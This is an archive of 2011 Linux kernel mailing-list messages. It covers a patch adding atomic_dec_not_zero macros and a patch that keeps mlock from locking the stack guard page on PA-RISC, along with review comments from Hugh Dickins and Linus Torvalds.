Xref: news.gmane.org gmane.linux.kernel:1136855 gmane.linux.kernel.cross-arch:9752 gmane.linux.ports.mips.general:30964 gmane.linux.ports.ia64:21642 gmane.linux.ports.parisc:3693 gmane.linux.ports.sh.devel:10953 gmane.linux.ports.alpha:1426 gmane.linux.ports.sparc:14865 gmane.linux.hardware.blackfin.kernel.devel:5433 gmane.linux.ports.ppc64.devel:74117 gmane.linux.ports.arm.kernel:116266
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1136855>

On Tue, May 03, 2011 at 11:30:35PM +0200, Sven Eckelmann wrote:
> Introduce an *_dec_not_zero operation.  Make this a special case of
> *_add_unless because batman-adv uses atomic_dec_not_zero in different
> places like re-broadcast queue or aggregation queue management. There
> are other non-final patches which may also want to use this macro.
...
> diff --git a/arch/arm/include/asm/atomic.h b/arch/arm/include/asm/atomic.h
> index 7e79503..a005265 100644
> --- a/arch/arm/include/asm/atomic.h
> +++ b/arch/arm/include/asm/atomic.h
> @@ -218,6 +218,7 @@ static inline int atomic_add_unless(atomic_t *v, int a, int u)
>  	return c != u;
>  }
>  #define atomic_inc_not_zero(v) atomic_add_unless((v), 1, 0)
> +#define atomic_dec_not_zero(v) atomic_add_unless((v), -1, 0)
>  
>  #define atomic_inc(v)		atomic_add(1, v)
>  #define atomic_dec(v)		atomic_sub(1, v)
> @@ -459,6 +460,7 @@ static inline int atomic64_add_unless(atomic64_t *v, u64 a, u64 u)
>  #define atomic64_dec_return(v)		atomic64_sub_return(1LL, (v))
>  #define atomic64_dec_and_test(v)	(atomic64_dec_return((v)) == 0)
>  #define atomic64_inc_not_zero(v)	atomic64_add_unless((v), 1LL, 0LL)
> +#define atomic64_dec_not_zero(v)	atomic64_add_unless((v), -1LL, 0LL)
>  
>  #else /* !CONFIG_GENERIC_ATOMIC64 */
>  #include <asm-generic/atomic64.h>

Do we need atomic_dec_not_zero() et.al. in every arch header - is there no
generic header which it could be added to?

From - Thu Nov 08 21:07:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sven Eckelmann <sven@narfation.org>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH] atomic: add *_dec_not_zero
Date: Sun, 8 May 2011 11:33:48 +0200
Lines: 55
Approved: news@gmane.org
Message-ID: <201105081133.50824.sven@narfation.org>
References: <1304458235-28473-1-git-send-email-sven@narfation.org> <20110508092403.GB27807@n2100.arm.linux.org.uk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart1677856.Ey88dTAy4V";
  protocol="application/pgp-signature";
  micalg=pgp-sha512
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1304847271 2316 80.91.229.12 (8 May 2011 09:34:31 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 8 May 2011 09:34:31 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-arch@vger.kernel.org,
	linux-mips@linux-mips.org, linux-m32r@ml.linux-m32r.org,
	linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-cris-kernel@axis.com, linux-s390@vger.kernel.org,
	linux-sh@vger.kernel.org, x86@kernel.org,
	Chris Metcalf <cmetcalf@tilera.com>,
	David Howells <dhowells@redhat.com>,
	linux-m68k@lists.linux-m68k.org, linux-am33-list@redhat.com,
	linux-alpha@vger.kernel.org, sparclinux@vger.kernel.org,
	uclinux-dist-devel@blackfin.uclinux.org,
	linuxppc-dev@lists.ozlabs.org, linux-arm-kernel@lists.infradead.org
To: "Russell King - ARM Linux" <linux@arm.linux.org.uk>
Original-X-From: linux-ia64-owner@vger.kernel.org Sun May 08 11:34:24 2011
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1QJ0Nb-0003VU-04
	for glpi-linux-ia64-2@lo.gmane.org; Sun, 08 May 2011 11:34:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751803Ab1EHJdz (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Sun, 8 May 2011 05:33:55 -0400
Original-Received: from narfation.org ([79.140.41.39]:52253 "EHLO v3-1039.vlinux.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752123Ab1EHJdx (ORCPT <rfc822;linux-ia64@vger.kernel.org>);
	Sun, 8 May 2011 05:33:53 -0400
Original-Received: from sven-desktop.home.narfation.org (i59F6B054.versanet.de [89.246.176.84])
	by v3-1039.vlinux.de (Postfix) with ESMTPSA id F2D20940DC;
	Sun,  8 May 2011 11:34:06 +0200 (CEST)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=narfation.org; s=mail;
	t=1304847247; bh=ZsDp5I2ahHMgchtif3vZZU35EkCa+97w9vNVwQ5M3xA=;
	h=From:To:Subject:Date:Cc:References:In-Reply-To:MIME-Version:
	 Content-Type:Content-Transfer-Encoding:Message-Id;
	b=UUW1EBfLxJNFvY/LDh8PBm8rGCZKtQvto51iZFwmd/nCE61DgW1bc0WMiUiJXJX9m
	 /Lvq69R/oWN9CGVqFmqfpq8AoTUoP5yxfkdJ3SaXbNFEnNoBuSjeG3Iyced9l5r+oo
	 GZ9D0K4j7Cx4IHK5bti3bLQwSBcoZ3B40M7iNn8o=
User-Agent: KMail/1.13.7 (Linux/2.6.38-2-amd64; KDE/4.6.2; x86_64; ; )
In-Reply-To: <20110508092403.GB27807@n2100.arm.linux.org.uk>
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:21643 gmane.linux.kernel:1136856 gmane.linux.kernel.cross-arch:9753 gmane.linux.ports.mips.general:30965 gmane.linux.ports.parisc:3694 gmane.linux.ports.sh.devel:10954 gmane.linux.ports.alpha:1427 gmane.linux.ports.sparc:14866 gmane.linux.hardware.blackfin.kernel.devel:5434 gmane.linux.ports.ppc64.devel:74118 gmane.linux.ports.arm.kernel:116267
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/21643>

--nextPart1677856.Ey88dTAy4V
Content-Type: Text/Plain;
  charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

Russell King - ARM Linux wrote:
[...]
> Do we need atomic_dec_not_zero() et.al. in every arch header - is there no
> generic header which it could be added to?

Mike Frysinger already tried to answer it in=20
<BANLkTimctgbto3dsnJ3d3r7NggS0KF9_Sw@mail.gmail.com>:
> that's what asm-generic is for.  if the arch isnt using it, it's
> either because the arch needs to convert to it, or they're using SMP
> and asm-generic doesnt yet support that for atomic.h.
>
> for example, the Blackfin port only needed updating for the SMP case.
> in the non-SMP case, we're getting the def from asm-generic/atomic.h.
> -mike

=46eel free to change that but I just followed the style used by all other=
=20
macros and will not redesign the complete atomic*.h idea.

thanks,
	Sven

--nextPart1677856.Ey88dTAy4V
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.11 (GNU/Linux)

iQIcBAABCgAGBQJNxmN9AAoJEF2HCgfBJntGmosP/0BjDtvk4ZKsL9hhonb8gZ4t
/2/hY6jeQ3Mg30Z1v6+PIZDun17qML5ODBcTB72oJs1LujHyEgNKKtfQ9stYgAm3
79B2UAH5LYVzZzd2j5nMWemGYChUXl5v5N/hOFOp04ImC7DU27fwadcuO+q47vnS
kKvrnccIFc0qUpnGwZ+1rqHIp9Rs3AQHjvyxaUDIuMs8ZWurYkS+e5SMini7qUpe
QvsTQVZhyuNtemvZUzrWUcftMVPNXxTHwwV5aALBswX4SPreBJWX33b8j+NIHeFU
hmwZ7/RzuDCyIzUFmeeXj/f0RCbWv5XkhQmNaCGFBdatgLRd2fnDOXzkuOeUPtBi
SX2jkxoXSMGwEtl2mzOW8JhvcGrG1+oMw9j/BqdQyaQe0rRnuFg962eRUs1RvibI
bej/DRfMexoXhlw7EIN9JGoniuMAW88Ws4RB79HuPURy6Ax1cr87ELH/Oj5ZvlOc
+whWNM9JuDFamC9E4zaenxqf0jd3mlvCAMaljh66J7qECJF9xWd5eJyet7CE7/hp
kE6iUT6Zf93Na9NImeTTeGK16LW1KqLkP8QyI+HUGO7A5wj/QvubGPBO0deHsp8G
YkQBcQwZMSft69hsW2Ke1btpJv/ScGxeVuplmMNrlDa1hAqjm+aHo6+xxTS5Mp72
p5S21fQTeEf4fOJsQubR
=ICmm
-----END PGP SIGNATURE-----

--nextPart1677856.Ey88dTAy4V--
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH] Don't mlock guardpage if the stack is growing up
Date: Sun, 8 May 2011 20:55:56 +0200 (CEST)
Lines: 81
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.00.1105082045250.15552@artax.karlin.mff.cuni.cz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1304880980 1429 80.91.229.12 (8 May 2011 18:56:20 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 8 May 2011 18:56:20 +0000 (UTC)
Cc: Hugh Dickins <hughd@google.com>, Oleg Nesterov <oleg@redhat.com>
To: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Sun May 08 20:56:15 2011
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1QJ99I-0005Wn-M0
	for glk-linux-kernel-3@lo.gmane.org; Sun, 08 May 2011 20:56:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932353Ab1EHS4B (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sun, 8 May 2011 14:56:01 -0400
Original-Received: from artax.karlin.mff.cuni.cz ([195.113.26.195]:59558 "EHLO
	artax.karlin.mff.cuni.cz" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932229Ab1EHSz5 (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Sun, 8 May 2011 14:55:57 -0400
Original-Received: by artax.karlin.mff.cuni.cz (Postfix, from userid 17421)
	id 303F098096; Sun,  8 May 2011 20:55:56 +0200 (CEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by artax.karlin.mff.cuni.cz (Postfix) with ESMTP id 2FA0598062;
	Sun,  8 May 2011 20:55:56 +0200 (CEST)
User-Agent: Alpine 2.00 (DEB 1167 2008-08-23)
X-Personality-Disorder: Schizoid
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1136982 gmane.linux.ports.parisc:3695
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1136982>

Don't mlock guardpage if the stack is growing up

Linux kernel excludes guard page when performing mlock on a VMA with 
down-growing stack. However, some architectures have up-growing stack and 
locking the guard page should be excluded in this case too.

This patch fixes lvm2 on PA-RISC (and possibly other architectures with 
up-growing stack). lvm2 calculates the number of used pages when locking 
and when unlocking and reports an internal error if the numbers mismatch. 
On PA-RISC, the kernel would incorrectly attempt to mlock the stack guard 
page, this causes allocation of one more page and internal error in lvm2.

Signed-off-by: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>

---
 include/linux/mm.h |    6 ++++++
 mm/memory.c        |   21 ++++++++++++---------
 2 files changed, 18 insertions(+), 9 deletions(-)

Index: linux-2.6.39-rc6-fast/include/linux/mm.h
===================================================================
--- linux-2.6.39-rc6-fast.orig/include/linux/mm.h	2011-05-07 05:59:51.000000000 +0200
+++ linux-2.6.39-rc6-fast/include/linux/mm.h	2011-05-07 05:59:52.000000000 +0200
@@ -1016,6 +1016,12 @@ static inline int vma_stack_continue(str
 	return vma && (vma->vm_end == addr) && (vma->vm_flags & VM_GROWSDOWN);
 }
 
+/* Is the vma a continuation of the stack vma below it? */
+static inline int vma_stack_growsup_continue(struct vm_area_struct *vma, unsigned long addr)
+{
+	return vma && (vma->vm_start == addr) && (vma->vm_flags & VM_GROWSUP);
+}
+
 extern unsigned long move_page_tables(struct vm_area_struct *vma,
 		unsigned long old_addr, struct vm_area_struct *new_vma,
 		unsigned long new_addr, unsigned long len);
Index: linux-2.6.39-rc6-fast/mm/memory.c
===================================================================
--- linux-2.6.39-rc6-fast.orig/mm/memory.c	2011-05-07 05:59:51.000000000 +0200
+++ linux-2.6.39-rc6-fast/mm/memory.c	2011-05-07 05:59:52.000000000 +0200
@@ -1412,9 +1412,12 @@ no_page_table:
 
 static inline int stack_guard_page(struct vm_area_struct *vma, unsigned long addr)
 {
-	return (vma->vm_flags & VM_GROWSDOWN) &&
+	return ((vma->vm_flags & VM_GROWSDOWN) &&
 		(vma->vm_start == addr) &&
-		!vma_stack_continue(vma->vm_prev, addr);
+		!vma_stack_continue(vma->vm_prev, addr)) ||
+	       ((vma->vm_flags & VM_GROWSUP) &&
+		(vma->vm_end == addr + PAGE_SIZE) &&
+		!vma_stack_growsup_continue(vma->vm_next, addr + PAGE_SIZE));
 }
 
 /**
@@ -1551,18 +1554,18 @@ int __get_user_pages(struct task_struct 
 			continue;
 		}
 
-		/*
-		 * If we don't actually want the page itself,
-		 * and it's the stack guard page, just skip it.
-		 */
-		if (!pages && stack_guard_page(vma, start))
-			goto next_page;
-
 		do {
 			struct page *page;
 			unsigned int foll_flags = gup_flags;
 
 			/*
+			 * If we don't actually want the page itself,
+			 * and it's the stack guard page, just skip it.
+			 */
+			if (!pages && stack_guard_page(vma, start))
+				goto next_page;
+
+			/*
 			 * If we have a pending SIGKILL, don't keep faulting
 			 * pages and potentially allocating memory.
 			 */

From - Thu Nov 08 21:07:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hugh Dickins <hughd@google.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] Don't mlock guardpage if the stack is growing up
Date: Sun, 8 May 2011 13:12:01 -0700 (PDT)
Lines: 100
Approved: news@gmane.org
Message-ID: <alpine.LSU.2.00.1105081303540.16151@sister.anvils>
References: <alpine.DEB.2.00.1105082045250.15552@artax.karlin.mff.cuni.cz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1304885534 23577 80.91.229.12 (8 May 2011 20:12:14 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 8 May 2011 20:12:14 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Michel Lespinasse <walken@google.com>,
	Oleg Nesterov <oleg@redhat.com>
To: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 08 22:12:09 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QJAKl-00082h-RJ
	for glpp-linux-parisc@lo.gmane.org; Sun, 08 May 2011 22:12:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751800Ab1EHUMH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 8 May 2011 16:12:07 -0400
Original-Received: from smtp-out.google.com ([74.125.121.67]:17407 "EHLO
	smtp-out.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751399Ab1EHUMF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 8 May 2011 16:12:05 -0400
Original-Received: from hpaq6.eem.corp.google.com (hpaq6.eem.corp.google.com [172.25.149.6])
	by smtp-out.google.com with ESMTP id p48KC2h3032342
	for <linux-parisc@vger.kernel.org>; Sun, 8 May 2011 13:12:02 -0700
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=google.com; s=beta;
	t=1304885524; bh=6/20OIwI1cSX0wG+cvbSAA1mQ0Y=;
	h=Date:From:To:cc:Subject:In-Reply-To:Message-ID:References:
	 MIME-Version:Content-Type;
	b=CYA2Q03pU/Qfzp1t0H8xHqIEx1rSW5duOKQVsPTcSa0V50Cr7lTfRPEa4WQutT8AI
	 192LP89ui3zQ80crNYeAQ==
Original-Received: from pzk37 (pzk37.prod.google.com [10.243.19.165])
	by hpaq6.eem.corp.google.com with ESMTP id p48KBxJM004022
	(version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT)
	for <linux-parisc@vger.kernel.org>; Sun, 8 May 2011 13:12:00 -0700
Original-Received: by pzk37 with SMTP id 37so2365916pzk.29
        for <linux-parisc@vger.kernel.org>; Sun, 08 May 2011 13:11:59 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=beta;
        h=domainkey-signature:date:from:x-x-sender:to:cc:subject:in-reply-to
         :message-id:references:user-agent:mime-version:content-type;
        bh=o32aFNiHU9a0BMV1Vz7EZiZmlfakNjZCL5T3UCFPKZ4=;
        b=B+Ho8NiVyiqsM7eH0BhqB2LPRaVZSX/LcDxjRwFbj3Xm+TRAMwsDEtomZUpprK7ZL9
         KhgIsuoTllKHmTSIPNCQ==
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=google.com; s=beta;
        h=date:from:x-x-sender:to:cc:subject:in-reply-to:message-id
         :references:user-agent:mime-version:content-type;
        b=kbvocFbliXTvNJRzd/X2vZk1dakM8gUXX0DmmGOeSKXnms5LpfljXEzLq4gFr5AhLx
         1RJrSJn6Np4GKOdQgGZQ==
Original-Received: by 10.68.36.170 with SMTP id r10mr8334170pbj.504.1304885518858;
        Sun, 08 May 2011 13:11:58 -0700 (PDT)
Original-Received: from [192.168.1.5] (c-67-188-178-35.hsd1.ca.comcast.net [67.188.178.35])
        by mx.google.com with ESMTPS id i4sm3617325pbr.42.2011.05.08.13.11.57
        (version=TLSv1/SSLv3 cipher=OTHER);
        Sun, 08 May 2011 13:11:58 -0700 (PDT)
X-X-Sender: hugh@sister.anvils
In-Reply-To: <alpine.DEB.2.00.1105082045250.15552@artax.karlin.mff.cuni.cz>
User-Agent: Alpine 2.00 (LSU 1167 2008-08-23)
X-System-Of-Record: true
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3696 gmane.linux.kernel:1136995
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3696>

On Sun, 8 May 2011, Mikulas Patocka wrote:

> Don't mlock guardpage if the stack is growing up
> 
> Linux kernel excludes guard page when performing mlock on a VMA with 
> down-growing stack. However, some architectures have up-growing stack and 
> locking the guard page should be excluded in this case too.
> 
> This patch fixes lvm2 on PA-RISC (and possibly other architectures with 
> up-growing stack). lvm2 calculates the number of used pages when locking 
> and when unlocking and reports an internal error if the numbers mismatch. 
> On PA-RISC, the kernel would incorrectly attempt to mlock the stack guard 
> page, this causes allocation of one more page and internal error in lvm2.
> 
> Signed-off-by: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>

Interesting, I'd convinced myself that the growsup case was safe,
because of how we always approach the vma from its bottom end.

I've added Michel to the Cc, he's the one with the best grasp here.

Could you point us to where lvm2 is making these calculations?
I don't understand quite what it's doing.

Thanks,
Hugh

> 
> ---
>  include/linux/mm.h |    6 ++++++
>  mm/memory.c        |   21 ++++++++++++---------
>  2 files changed, 18 insertions(+), 9 deletions(-)
> 
> Index: linux-2.6.39-rc6-fast/include/linux/mm.h
> ===================================================================
> --- linux-2.6.39-rc6-fast.orig/include/linux/mm.h	2011-05-07 05:59:51.000000000 +0200
> +++ linux-2.6.39-rc6-fast/include/linux/mm.h	2011-05-07 05:59:52.000000000 +0200
> @@ -1016,6 +1016,12 @@ static inline int vma_stack_continue(str
>  	return vma && (vma->vm_end == addr) && (vma->vm_flags & VM_GROWSDOWN);
>  }
>  
> +/* Is the vma a continuation of the stack vma below it? */
> +static inline int vma_stack_growsup_continue(struct vm_area_struct *vma, unsigned long addr)
> +{
> +	return vma && (vma->vm_start == addr) && (vma->vm_flags & VM_GROWSUP);
> +}
> +
>  extern unsigned long move_page_tables(struct vm_area_struct *vma,
>  		unsigned long old_addr, struct vm_area_struct *new_vma,
>  		unsigned long new_addr, unsigned long len);
> Index: linux-2.6.39-rc6-fast/mm/memory.c
> ===================================================================
> --- linux-2.6.39-rc6-fast.orig/mm/memory.c	2011-05-07 05:59:51.000000000 +0200
> +++ linux-2.6.39-rc6-fast/mm/memory.c	2011-05-07 05:59:52.000000000 +0200
> @@ -1412,9 +1412,12 @@ no_page_table:
>  
>  static inline int stack_guard_page(struct vm_area_struct *vma, unsigned long addr)
>  {
> -	return (vma->vm_flags & VM_GROWSDOWN) &&
> +	return ((vma->vm_flags & VM_GROWSDOWN) &&
>  		(vma->vm_start == addr) &&
> -		!vma_stack_continue(vma->vm_prev, addr);
> +		!vma_stack_continue(vma->vm_prev, addr)) ||
> +	       ((vma->vm_flags & VM_GROWSUP) &&
> +		(vma->vm_end == addr + PAGE_SIZE) &&
> +		!vma_stack_growsup_continue(vma->vm_next, addr + PAGE_SIZE));
>  }
>  
>  /**
> @@ -1551,18 +1554,18 @@ int __get_user_pages(struct task_struct 
>  			continue;
>  		}
>  
> -		/*
> -		 * If we don't actually want the page itself,
> -		 * and it's the stack guard page, just skip it.
> -		 */
> -		if (!pages && stack_guard_page(vma, start))
> -			goto next_page;
> -
>  		do {
>  			struct page *page;
>  			unsigned int foll_flags = gup_flags;
>  
>  			/*
> +			 * If we don't actually want the page itself,
> +			 * and it's the stack guard page, just skip it.
> +			 */
> +			if (!pages && stack_guard_page(vma, start))
> +				goto next_page;
> +
> +			/*
>  			 * If we have a pending SIGKILL, don't keep faulting
>  			 * pages and potentially allocating memory.
>  			 */
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] Don't mlock guardpage if the stack is growing up
Date: Sun, 8 May 2011 14:47:33 -0700
Lines: 66
Approved: news@gmane.org
Message-ID: <BANLkTikEpaRZK3X4YReeQAwgcv3HAGUwSw@mail.gmail.com>
References: <alpine.DEB.2.00.1105082045250.15552@artax.karlin.mff.cuni.cz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1304891286 18451 80.91.229.12 (8 May 2011 21:48:06 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 8 May 2011 21:48:06 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	Hugh Dickins <hughd@google.com>,
	Oleg Nesterov <oleg@redhat.com>
To: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 08 23:48:00 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QJBpX-0001jr-Rs
	for glpp-linux-parisc@lo.gmane.org; Sun, 08 May 2011 23:48:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754067Ab1EHVr6 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 8 May 2011 17:47:58 -0400
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:44624 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753655Ab1EHVr6 convert rfc822-to-8bit
	(ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 8 May 2011 17:47:58 -0400
Original-Received: from mail-ey0-f174.google.com (mail-ey0-f174.google.com [209.85.215.174])
	(authenticated bits=0)
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id p48Llrtn001429
	(version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=FAIL);
	Sun, 8 May 2011 14:47:55 -0700
Original-Received: by eyx24 with SMTP id 24so1389866eyx.19
        for <multiple recipients>; Sun, 08 May 2011 14:47:53 -0700 (PDT)
Original-Received: by 10.14.13.66 with SMTP id a42mr3069713eea.193.1304891273118; Sun,
 08 May 2011 14:47:53 -0700 (PDT)
Original-Received: by 10.14.127.144 with HTTP; Sun, 8 May 2011 14:47:33 -0700 (PDT)
In-Reply-To: <alpine.DEB.2.00.1105082045250.15552@artax.karlin.mff.cuni.cz>
X-Spam-Status: No, hits=-104.967 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED,PATCH_SUBJECT_OSDL,USER_IN_WHITELIST
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3697 gmane.linux.kernel:1137013
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3697>

On Sun, May 8, 2011 at 11:55 AM, Mikulas Patocka
<mikulas@artax.karlin.mff.cuni.cz> wrote:
>
> This patch fixes lvm2 on PA-RISC (and possibly other architectures wi=
th
> up-growing stack). lvm2 calculates the number of used pages when lock=
ing
> and when unlocking and reports an internal error if the numbers misma=
tch.

This patch won't apply on current kernels (including stable) because
of commit a1fde08c74e9 that changed the test of "pages" to instead
just test "flags & FOLL_MLOCK".

That should be trivial to fix up.

However, I really don't much like this complex test:

> =A0static inline int stack_guard_page(struct vm_area_struct *vma, uns=
igned long addr)
> =A0{
> - =A0 =A0 =A0 return (vma->vm_flags & VM_GROWSDOWN) &&
> + =A0 =A0 =A0 return ((vma->vm_flags & VM_GROWSDOWN) &&
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0(vma->vm_start =3D=3D addr) &&
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 !vma_stack_continue(vma->vm_prev, addr)=
;
> + =A0 =A0 =A0 =A0 =A0 =A0 =A0 !vma_stack_continue(vma->vm_prev, addr)=
) ||
> + =A0 =A0 =A0 =A0 =A0 =A0 =A0((vma->vm_flags & VM_GROWSUP) &&
> + =A0 =A0 =A0 =A0 =A0 =A0 =A0 (vma->vm_end =3D=3D addr + PAGE_SIZE) &=
&
> + =A0 =A0 =A0 =A0 =A0 =A0 =A0 !vma_stack_growsup_continue(vma->vm_nex=
t, addr + PAGE_SIZE));
> =A0}

in that format. It gets really hard to read, and I think you'd be
better off writing it as two helper functions (or macros) for the two
cases, and then have

  static inline int stack_guard_page(struct vm_area_struct *vma,
unsigned long addr)
  {
    return stack_guard_page_growsdown(vma, addr) ||
      stack_guard_page_growsup(vma, addr);
  }

I'd also like to verify that it doesn't actually generate any extra
code for the common case (iirc VM_GROWSUP is 0 for the architectures
that don't need it, and so the compiler shouldn't generate any extra
code, but I'd like that mentioned and verified explicitly).

Hmm?

Other than that it looks ok to me.

That said, could we please fix LVM to not do that crazy sh*t in the
first place? The STACK_GROWSUP case is never going to have a lot of
testing, this is just sad.

                   Linus
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
